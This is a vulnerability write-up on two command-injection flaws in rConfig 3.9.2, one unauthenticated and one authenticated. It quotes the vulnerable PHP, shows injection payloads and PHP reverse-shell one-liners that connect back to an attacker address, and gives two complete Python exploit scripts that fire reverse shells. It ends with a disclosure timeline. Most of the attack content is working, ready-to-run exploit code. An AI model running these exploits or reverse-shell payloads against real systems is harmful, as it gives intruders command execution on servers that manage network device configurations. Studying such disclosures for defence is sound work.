Summary about rConfig
rConfig is an open source network device configuration management utility enabling network engineers to capture frequent configuration snapshots of their network devices.
About the exploit
Two remote command execution vulnerabilities were discovered in separate files. The first vulnerability exists in ajaxServerSettingsChk.php, an unauthenticated RCE triggered via a crafted GET request using the rootUname parameter. This parameter reaches the exec function without proper sanitization, allowing OS command injection.
The second vulnerability appears in search.crud.php, an authenticated RCE exploitable through GET requests containing searchTerm and other parameters that ultimately reach the exec function.
The discovery process involved scanning for unsafe functions using a Python-based detection script to identify potential vulnerabilities.
Analyzing the Unauthenticated RCE
The vulnerable file location: install/lib/ajaxHandlers/ajaxServerSettingsChk.php
The following code snippet demonstrates how user input from the GET parameter flows directly into command execution:
<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
$array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font><br/>';
} else {
$array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
$array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
$array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);
As we can see, on line 2, the rootUname GET parameter is taken from the user without any sanitization. Then on line 13, the parameter is concatenated directly into the command string which is passed to the exec function. This allows an attacker to escape the command and inject arbitrary OS commands using the following payload structure:
; your command #
Testing with the encoded payload "; id #" demonstrates successful command execution:

As shown, the id command was executed successfully. The command was executed twice because the exec function was called twice in the source code.

For reverse shell access, since netcat is not installed by default in CentOS 7.7, the following PHP-based reverse shell payload can be used:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'#

The following Python script automates the exploitation of this vulnerability:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit()
target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
install_path = target + "/install"
req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
print "[+] Triggering the payload"
print "[+] Check your listener !"
requests.get(url_to_send, verify=False)
Analyzing the Authenticated RCE
The vulnerable file: lib/crud/search.crud.php
The following code segment shows how the catCommand parameter reaches command execution:
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {
/* validation */
$searchTerm = '"' . $_GET['searchTerm'] . '"';
$catId = $_GET['catId'];
$catCommand = $_GET['catCommand'];
$nodeId = $_GET['nodeId'];
$grepNumLineStr = $_GET['numLinesStr'];
$grepNumLine = $_GET['noLines'];
$username = $_SESSION['username'];
// if nodeId was empty set it to blank
if (empty($nodeId)) {
$nodeId = '';
} else {
$nodeId = '/' . $nodeId . '/';
}
$returnArr = array();
// Get the category Name from the Category selected
$db2->query("SELECT categoryName from `categories` WHERE id = :catId");
$db2->bind(':catId', $catId);
$resultCat = $db2->resultset();
$returnArr['category'] = $resultCat[0]['categoryName'];
// get total file count
$fileCount = array();
$subDir = "";
if (!empty($returnArr['category'])) {
$subDir = "/" . $returnArr['category'];
}
exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);
$returnArr['fileCount'] = $fileCountArr['0'];
//next find all instances of the search term under the specific cat/dir
$command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';
// echo $command;die();
exec($command, $searchArr);
As we can see, the code first checks if the searchTerm parameter is set and is not empty. To bypass this initial validation, we simply include any value in the searchTerm GET parameter. The catCommand parameter on line 5 is taken from the user and then concatenated into the command string on line 37, which is passed to the exec function on line 39. This allows an attacker to inject arbitrary OS commands.
Testing with a time-delay payload confirms command execution:
""&&$(`sleep 5`)#

For reverse shell access, construct the payload as:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

The following Python script automates the exploitation of this authenticated vulnerability:
#!/usr/bin/python
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
)
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request)
elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()
Vulnerability Disclosure
The vulnerabilities were reported to the rConfig developer on September 19, 2019. After receiving no response regarding fix timelines or acknowledgment over 35 days, the exploits were publicly released.